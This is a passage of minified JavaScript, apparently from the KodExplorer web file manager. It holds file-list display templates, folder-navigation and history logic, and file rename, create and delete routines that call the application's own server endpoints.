span").html(LNG.not_exists),$(".path_tips").show()),1==G.is_root&&i.admin_real_path?$(".admin_real_path").removeClass("hidden"):$(".admin_real_path").addClass("hidden")};return{f5:f5,f5Callback:f5Callback,pathTypeChange:pathTypeChange,pathChildrenTree:pathChildrenTree,pathChildrenSplit:pathChildrenSplit,myPicasa:myPicasa,init:function(){$(window).bind("resize",function(){resetTotalHeight(),"desktop"==Config.pageApp?ui.resetDesktopIcon():ui.headerAddress.resetWidth(),"none"!=$("#PicasaView").css("display")&&myPicasa.setFrameResize()}),bindScrollLoadMore(),myPicasa.init(".picasaImage"),myPicasa.initData()}}}),define("app/src/explorer/tpl/file_list_make.html",[],"<!-- 图标模式文件夹 -->\n{{if type=='icon_folder'}}\n<div data-path=\"{{list.path |window.pathHashEncode}}\"\nclass='file {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n {{if !list.is_writeable}} file_not_writeable{{/if}}\n {{if !list.is_readable}} file_not_readable{{/if}}\n{{/if}}'\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.icon}}\n {{else}}\n {{\"folder\" |core.icon}}\n {{/if}}\n </div>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='filename'>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 列表模式文件夹 -->\n{{else if type=='list_folder'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file\n{{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\ntitle='{{LNG.name}} : {{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='filename'>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class=\"children_more\">\n {{if list.isParent&&list.is_readable}}<i class=\"font_icon children_more_cert\"></i>{{/if}}\n </span>\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n </div>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n </div>\n <div class='filetype'>{{LNG.folder}}</div>\n <div class='filesize'></div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n{{if list.isParent&&list.is_readable}}\n<div data-path-children='{{list.path |window.pathHashEncode}}' class=\"children_list hidden\"></div>\n{{/if}}\n\n<!-- 分栏模式文件夹 -->\n{{else if type=='list_split_folder'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}folderBox menufolder{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"0\">\n <div class='filename'>\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='ico' filetype='folder'>\n {{if list.ext}}\n {{list.ext |core.iconSmall}}\n {{else}}\n {{\"folder\" |core.iconSmall}}\n {{/if}}\n </div>\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{list.name}}\n {{/if}}\n </span>\n <span class=\"children_open\">\n {{if list.is_readable && typeof(list.menuType)==\"undefined\"}}\n <i class=\"font_icon children_more_cert\"></i>\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 图标模式文件 draggable=\"true\" ondragstart=\"return false;\"-->\n{{else if type=='icon_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}}data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.icon}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.icon}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{oexe_icon |core.iconSrc}}\n {{else}}\n {{list.ext |core.icon}}\n {{/if}}\n </div>\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <div class='filename'>\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n</div>\n\n<!-- 列表模式文件 -->\n{{else if type=='list_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}} data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n <div class='filename'>\n <span class=\"children_more\"></span>\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.iconSmall}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n </div>\n {{/if}}\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class='title db_click_rename' title=\"{{LNG.double_click_rename}}\">\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n <div class='filetype'>{{list.ext |window.htmlEncode}} {{LNG.file}}</div>\n <div class='filesize'>{{list.size |core.fileSize}}</div>\n <div class='filetime'>{{list.mtime}}</div>\n <div style='clear:both'></div>\n</div>\n\n<!-- 分栏模式文件 -->\n{{else if type=='list_split_file'}}\n<div data-path='{{list.path |window.pathHashEncode}}'\nclass='file {{if index%2==0}}file2{{/if}} {{list.menuType}}\n{{if list.menuType}}systemBox{{else}}fileBox menufile{{/if}}\n{{if !list.sid && typeof(list.is_readable)!=\"undefined\"}}\n{{if !list.is_writeable}} file_not_writeable{{/if}}\n{{if !list.is_readable}}file_not_readable{{/if}}{{/if}}'\n{{if list.ext=='oexe'}} data-app='{{window.base64Encode(window.jsonEncode(list))}}'{{/if}}\ntitle='{{LNG.name}}:{{list.name}}&#10;{{LNG.size}}:{{list.size |core.fileSize}}&#10;{{LNG.permission}} : {{list.mode}}&#10;{{LNG.modify_time}} : {{list.mtime}}'\ndata-size=\"{{list.size}}\">\n <div class='filename'>\n {{if window.inArray(core.filetype['image'],list.ext)}}\n <div class='picasaImage picture ico' filetype='{{list.ext |window.htmlEncode}}' picasa='{{list.path |core.path2url:false|window.htmlEncode}}'>\n {{if window.G.sid}}\n <img class=\"lazyload_ready\" data-original='index.php?share/image&user={{window.G.user}}&sid={{window.G.sid}}&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{else}}\n <img class=\"lazyload_ready\" data-original='index.php?explorer/image&path={{list.path |window.urlEncode|window.htmlEncode}}' draggable='false' ondragstart=\"return false;\"/>\n {{/if}}\n </div>\n {{else if list.type == 'app_link'}}<!-- 快捷方式 -->\n {{if list.content.search('ui.path.open') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.name.replace('.oexe','') |core.pathExt|core.iconSmall}}\n </div>\n {{else if list.content.search('ui.path.list') == 0}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{list.icon |core.icon}}\n </div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>{{\"folder\" |core.iconSmall}}</div>\n {{/if}}\n <div class=\"meta_info app_link\">{{'app_link' |core.icon}}</div>\n {{else}}\n <div class='ico' filetype='{{list.ext |window.htmlEncode}}'>\n {{if list.ext=='oexe'}}\n {{'oexe' |core.iconSmall}}\n {{else}}\n {{list.ext |core.iconSmall}}\n {{/if}}\n </div>\n {{/if}}\n\n {{if list.meta_info}}\n <div class='meta_info {{list.meta_info}}'>{{list.meta_info |core.icon}}</div>\n {{/if}}\n <span class='title'>\n {{if typeof(list.exists)=='number' && list.exists==0}}\n <b style=\"color:red;\" class=\"file_not_exists\">{{list.name}}</b>\n {{else}}\n {{if list.ext=='oexe'}}{{list.name.replace('.oexe','')}}{{else}}{{list.name}}{{/if}}\n {{/if}}\n </span>\n </div>\n</div>\n{{/if}}\n\n"),define("app/src/explorer/path",["../../common/pathOperate","../../common/pathOpen","../../common/myPlayer"],function(e){var i=e("../../common/pathOperate"),t=e("../../common/pathOpen"),a=void 0;ui.pathOpen=t;var n=function(){if(G.json_data.info.path_type==G.KOD_USER_RECYCLE||G.json_data.info.path_type==G.KOD_USER_SHARE)return!0;var e=ui.fileLight.fileListSelect();return e.hasClass("systemBox")?(Tips.tips(LNG.path_can_not_action,"warning"),!1):!0},o=function(e,i,t,a){if(void 0!=e){if("explorer"!=Config.pageApp)return core.explorer(e),void 0;if(e==G.this_path)return void 0!=i&&""!=i&&Tips.tips(LNG.path_is_current,"info"),void 0;if(G.this_path=e.replace(/\\/g,"/"),G.this_path=e.replace(/\/+/g,"/"),"/"!=G.this_path.substr(G.this_path.length-1)&&(G.this_path+="/"),$(".dialog_file_upload").length>0){var n="hidden"==$(".dialog_file_upload").css("visibility");core.upload(),n&&$(".dialog_file_upload").css("visibility","hidden")}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.this_path)),core.playSound("folder_open"),ui.tree.setSelect(G.this_path),a||ui.path.history.add(G.this_path),"list_split"==G.user_config.list_type){var o=$(".split_box .file[data-path="+pathHashEncode(G.this_path)+"]");if(0!=o.length&&0!=o.find(".children_more_cert").length)return o.click(),void 0;$(".fileList_list_split .split_box").remove()}ui.f5Callback(function(){"function"==typeof t&&t()})}},s=function(){var e=[],i=60,t=0,a=function(a){var n=e.length-1;return n==t&&e[n]==a?r():(t!=n&&(e=e.slice(0,t+1)),e[e.length-1]!=a&&e.push(a),e.length>=i&&(e=e.slice(1)),t=e.length-1,r(),void 0)},n=function(){e.length-1>=t+1&&(o(e[++t],"","",!0),r())},s=function(){t-1>=0&&(o(e[--t],"","",!0),r())},r=function(){var i="disable",a=e.length-1;$("#history_next").addClass(i),$("#history_back").addClass(i),(0!=t||0!=a)&&(t>0&&a>=t&&$("#history_back").removeClass(i),t>=0&&t!=a&&$("#history_next").removeClass(i))};return{add:a,back:s,next:n,list:function(){return e}}}(),r=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var i=0;e.length>i;i++)e[i]=trim(e[i],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var i=trim(ui.fileLight.path($(this)),"/");i&&-1!=$.inArray(i,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},l=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==a||G.this_path!=a.path||e!=a.key){var i=[];ui.fileLight.fileListAll().each(function(){var t=ui.fileLight.name($(this)),a=ui.fileLight.path($(this));t&&e==t.substring(0,e.length).toLowerCase()&&i.push(a)}),a={key:e,path:G.this_path,index:0,list:i}}0!=a.list.length&&(r(a.list[a.index++]),a.index==a.list.length&&(a.index=0))}},c=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(i){var t=ui.fileLight.name($(this));-1!=t.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(i).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},d=function(e,i){var t=G.this_path+e;return void 0==i&&(t+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(t)+'"]').length?!0:!1},p=function(e,i){var t,a=0,n="."+i;if((void 0==i||""==i)&&(n=""),!d(e+n,i))return e+n;for(t=e+"(0)"+n;d(t,i);)a++,t=e+"("+a+")"+n;return t},u=function(e,t){var a,n=0,o=G.json_data.folderlist,s=G.json_data.filelist,r=o,l=G.user_config.list_sort_field,c=G.user_config.list_sort_order,d={name:e,size:0,ext:t,mtime:date("Y/m/d H:i:s",time())};for("desktop"==Config.pageApp&&(n+=$(".menuDefault").length+1),"file"==t?(d.ext=core.pathExt(e),r=s,"up"==c&&(n+=o.length)):"down"==c&&(n+=s.length),a=0;r.length>a;a++)if("down"==c){if(-1==i.strSort(r[a][l],d[l]))break}else if(-1!=i.strSort(r[a][l],d[l]))break;return a+n-1},f=function(t,a,n){ui.fileLight.clear();var o=u(a,t),s=$(Config.FileBoxSelector);"list_split"==G.user_config.list_type&&(s=$(".split_box.split_select").find(".content"));var r=e("./tpl/file_create.html"),l=template.compile(r),c=l({type:t,newname:a,ext:n,list_type:G.user_config.list_type});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var p=s.find(".file:eq("+o+")");0==p.length&&(p=s.find(".file").last()),"list_split"==G.user_config.list_type&&(p=$(".split_box.split_select .file").last()),$(c).insertAfter(p)}var f=$(".textarea .newfile"),h=a.length;"folder"!=t&&-1!=a.indexOf(".")&&(h=a.length-n.length-1),f.textSelect(0,h),"list_split"==G.user_config.list_type&&f.css("width",f.parents(".filename").width()-40),"icon"==G.user_config.list_type?($("#makefile").css({height:$("#makefile").width()+15,"margin-left":"3px",transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),"desktop"==Config.pageApp&&ui.resetDesktopIcon();var v=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(d(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var a=G.this_path;"list_split"==G.user_config.list_type&&(a=ui.fileLight.path($(".file_icon_edit").parents(".split_box"))),"folder"==t?i.newFolder(a+e,m):i.newFile(a+e,m)}};ui.fileLight.setInView($(".fileContiner .file_icon_edit")),f.focus().autoTextarea(),f.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),v(f.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){v(f.attr("value"))})},h=function(){var e="",t=ui.fileLight.fileListSelect(),a=ui.fileLight.name(t),o=core.pathFather(ui.fileLight.path(t)),s=ui.fileLight.type(t);if(1==t.length&&n()){if(t.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(a,".oexe")),l="<input class='fix' id='pathRenameTextarea' value='"+r+"'/>";"icon"==G.user_config.list_type&&(l="<textarea class='fix' id='pathRenameTextarea'>"+r+"</textarea>",t.css({height:t.height()})),$(t).addClass("file_icon_edit").find(".title").html("<div class='textarea'>"+l+"<div>");var c=$("#pathRenameTextarea");"list_split"==G.user_config.list_type&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=a.length;"folder"!=s&&-1!=a.indexOf(".")&&(d=a.length-s.length-1),s||0!=a.indexOf(".")?c.textSelect(0,d):c.textSelect(0,a.length);var p=function(n){if("oexe"==s&&(n+=".oexe"),n!=a)e=o+a,n=o+n,i.rname(e,n,m);else{var r=a;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(t).removeClass("file_icon_edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(a=a.replace(".oexe","")),$(t).removeClass("file_icon_edit").find(".title").html(a))}).unbind("blur").blur(function(){p(c.val())})}},m=function(e){ui.fileLight.clear(),ui.f5Callback(function(){r(e),"explorer"==Config.pageApp&&ui.tree.checkIfChange(G.this_path)})},v=function(e){var i={},t=[];e.sort(function(e,i){return e.path==i.path?0:e.path>i.path?1:-1});for(var a=function(e){for(var t=e;""!=e;){if(i[e]!==void 0)return 1==i[e]?!0:t==e?(i[e]=1,!1):!0;e=core.pathFather(e)}return!1},n=0;e.length>n;n++)if("folder"==e[n].type){var o=rtrim(e[n].path,"/")+"/";i[o]||a(o)||(i[o]=0)}for(var n=0;e.length>n;n++){var o=e[n].path;"folder"==e[n].type&&(o=rtrim(o,"/")+"/"),a(o)||t.push(e[n])}return t},_=function(e){if(e){var i=[];return 0==ui.fileLight.fileListSelect().length?i:(ui.fileLight.fileListSelect().each(function(){var e=ui.fileLight.path($(this)),t="folder"==ui.fileLight.type($(this))?"folder":"file";i.push({path:e,type:t})}),v(i))}if(1!=ui.fileLight.fileListSelect().length)return{path:"",type:""};var t=ui.fileLight.fileListSelect(),a=ui.fileLight.path(t),n=ui.fileLight.type(t);return{path:a,type:n}},g=function(e,i){for(var t in G.json_data)if("filelist"==t||"folderlist"==t)for(var a=0;G.json_data[t].length>a;a++)if(G.json_data[t][a][e]==i)return G.json_data[t][a]};return{makeParam:_,history:s,getJsondataCell:g,checkSystemPath:n,appEdit:function(e){if(e)i.appEdit(0,0,"user_add");else{var t=ui.fileLight.fileListSelect().attr("data-app"),a=jsonDecode(base64Decode(t));a.path=ui.fileLight.path(ui.fileLight.fileListSelect()),i.appEdit(a)}},appList:function(){i.appList(_().path)},appInstall:function(){i.appInstall(_().path)},openEditor:function(){t.openEditor(_().path)},openWindow:function(){var e=_();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(t.openWindow(e.path),void 0)},open:function(e){if("editor"==Config.pageApp)return t.open(e),void 0;if(void 0!=e)return t.open(e),void 0;if(0!=ui.fileLight.fileListSelect().length){var i=_(),a=ui.fileLight.fileListSelect();if(inArray(core.filetype.image,i.type))return ui.picasa.initData(),ui.picasa.play($(a).find(".picasaImage")),void 0;if(0!=$(a).find(".file_not_exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("oexe"==i.type){var n=a.attr("data-app");i.path=jsonDecode(base64Decode(n))}("list_split"!=G.user_config.list_type||"folder"!=i.type)&&t.open(i.path,i.type)}},play:function(){if(!(1>ui.fileLight.fileListSelect().length)){var e=[];ui.fileLight.fileListSelect().each(function(){var i=ui.fileLight.type($(this));if(inArray(core.filetype.music,i)||inArray(core.filetype.movie,i)){var t=ui.fileLight.path($(this)),a=core.path2url(t,!1);e.push({url:a,name:core.pathThis(t),ext:i})}}),t.play(e)}},pathOperate:i,share:function(){i.share(_())},setBackground:function(){var e=core.path2url(_().path);ShareData.frameTop("",function(i){i.ui.setWall(e)}),ui.setWall(e),i.setBackground(e)},createLink:function(e){var t=_(),a=ui.fileLight.fileListSelect().last();t.name=trim(a.find(".filename").text()),i.createLink(t.path,t.name,t.type,e,m)},createProject:function(){i.createProject(_().path,m)},download:function(){var e=_(!0);1==e.length&&"file"==e[0].type?t.download(_().path):i.zipDownload(e)},shareEdit:function(){var e=g("path",_().path);try{var t=G.json_data.share_list[e.sid];i.shareBox(t)}catch(a){}},shareOpenWindow:function(){var e=g("path",_().path),i=e.type;"folder"==e.type&&(i=1==e.code_read?"code_read":"folder");var t="./index.php?share/"+i+"&user="+G.json_data.info.id+"&sid="+e.sid;window.open(t)},shareOpenPath:function(){var e=_(),i=g("path",e.path);if(!i||!G.json_data.share_list)return t.open(e.path,e.type),void 0;var a=G.json_data.share_list[i.sid],n=core.pathFather(a.path),o=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(n,"",function(){r(o)})},explorer:function(){core.explorer(_().path)},explorerNew:function(){window.open("index.php?/explorer&path="+_().path)},openProject:function(){core.explorerCode(_().path)},search:function(){core.search("",_().path)},fav:function(){var e=_(),t=ui.fileLight.fileListSelect().last();e.name=trim(t.find(".filename").text()),i.fav(e)},recycleClear:function(){i.remove([{type:"recycle_clear",path:""}],function(){ui.f5()})},remove:function(e,t){if(n()){var a=_(!0);G.json_data.info&&G.json_data.info.path_type==G.KOD_USER_SHARE&&G.json_data.info.id==G.user_id&&-1==trim(G.this_path,"/").indexOf("/")&&$.each(a,function(e){var i=g("path",a[e].path);void 0!=i&&(a[e].type="share",a[e].path=i.sid)}),i.remove(a,m,e,t)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(t){var a=trim($(this).text());t!=e.length-1?i.favRemove(a,"",!0):i.favRemove(a,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},copy:function(){n()&&i.copy(_(!0))},cute:function(){n()&&i.cute(_(!0),ui.f5)},zip:function(e){i.zip(_(!0),m,e)},unZip:function(e){n()&&i.unZip(_().path,ui.f5,e)},cuteDrag:function(e){i.cuteDrag(_(!0),e,m)},copyDrag:function(e,t){i.copyDrag(_(!0),e,m,t)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){i.copyDrag(_(!0),e,m,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){i.cuteDrag(_(!0),e,m)})},info:function(){i.info(_(!0))},past:function(){var e=G.this_path;"list_split"==G.user_config.list_type&&($containBox=$(".split_box.split_select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),i.past(e,m)},newFile:function(e){void 0==e&&(e="txt"),f("file",p("newfile",e),e)},newFolder:function(){f("folder",p(LNG.newfolder),"")},showFile:function(){var e="./index.php?share/file&sid="+G.sid+"&user="+G.user+"&path="+_().path;window.open(e)},rname:h,list:o,setSearchByStr:c,setSelectByChar:l,setSelectByFilename:r,clipboard:i.clipboard}}),define("app/common/pathOperate",[],function(e){var i=["/","\\",":","*","?",'"',"<",">","|"],t=["/","\\"],a=function(e){var a=function(e,i){for(var t=i.length,a=0;t>a;a++)if(e.indexOf(i[a])>0)return!0;return!1},n=t;return G.system_os&&"windows"==G.system_os&&(n=i),a(e,n)?(Tips.tips(LNG.path_not_allow+": "+n.join(", "),!1),!1):!0},n=function(e){for(var i=[],t=function(e){return e?e.replace(/"/g,'\\\\"'):e},a=0;e.length>a;a++)i.push({type:t(e[a].type),path:urlEncode(t(e[a].path))});return"data_arr="+jsonEncode(i)},o=function(e,i){for(var t="0123456789零一二三四五六七八九十百千万壹贰叁肆伍陆柒捌玖拾佰仟万",a=0;Math.max(e.length,i.length)>a;a++)if(e.charAt(a)!=i.charAt(a)){var n=t.indexOf(e.charAt(a)),o=t.indexOf(i.charAt(a));return-1!=n&&-1!=o?n>o?1:o>n?-1:0:e.charAt(a)>i.charAt(a)?1:e.charAt(a)<i.charAt(a)?-1:0}return 0},s=function(e,i){if(void 0==e||void 0==i)return 0;var t=/([0-9\.]+)/g,a=(""+e).toLowerCase()||"",n=(""+i).toLowerCase()||"",s=String.fromCharCode(0),r=a.replace(t,s+"$1"+s).split(s),l=n.replace(t,s+"$1"+s).split(s),c=new Date(a).getTime(),d=c?new Date(n).getTime():null;if(d){if(d>c)return-1;if(c>d)return 1}for(var p=0,u=Math.max(r.length,l.length);u>p;p++)if(oFxNcL=parseFloat(r[p])||r[p],oFyNcL=parseFloat(l[p])||l[p],oFxNcL!=oFyNcL)if("string"==typeof oFxNcL&&"string"==typeof oFyNcL){var f=o(oFxNcL,oFyNcL);if(0!=f)return f}else{if(oFyNcL>oFxNcL)return-1;if(oFxNcL>oFyNcL)return 1}return 0},r=function(e,i){if(e){var t=core.pathThis(e);return a(t)?($.ajax({dataType:"json",url:"index.php?explorer/mkfile&path="+urlEncode(e),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&e&&e.info&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0)}},l=function(e,i){if(e){var t=core.pathThis(e);return a(t)?($.ajax({dataType:"json",url:"index.php?explorer/mkdir&path="+urlEncode(e),beforeSend:function(){"function"==typeof i&&Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof i&&e&&e.info&&i(e.info)}}),void 0):("function"==typeof i&&i(),void 0)}},c=function(e,i,t){return e&&i&&e!=i?a(core.pathThis(i))?($.ajax({type:"POST",dataType:"json",url:"index.php?explorer/pathRname",data:"path="+urlEncode(e)+"&rname_to="+urlEncode(i),beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){Tips.close(e),"function"==typeof t&&e&&e.info&&t(e.info)}}),void 0):("function"==typeof t&&t(),void 0):void 0},d=function(e,i,t,a){if(t=void 0==t?!1:t,a=void 0==a?!1:a,!(1>e.length)){var o=LNG.remove_title,s=LNG.remove_info,r="index.php?explorer/pathDelete",l=n(e);"share"==e[0].type&&(o=LNG.share_remove,s=LNG.share_remove_tips,r="index.php?userShare/del"),a&&(s=LNG.remove_info_force,o=LNG.remove_title_force,r+="&shiftDelete=1"),("recycle_clear"==e[0].type||G.USER_RECYCLE&&G.this_path==G.USER_RECYCLE||G.this_path==core.pathFather(G.myhome)+"recycle_kod/")&&(s=LNG.recycle_clear_info,r="index.php?explorer/pathDeleteRecycle",o=LNG.recycle_clear,"recycle_clear"==e[0].type&&(l={})),e.length>1&&(s+=' ... <span class="badge">'+e.length+"</span>"); -var 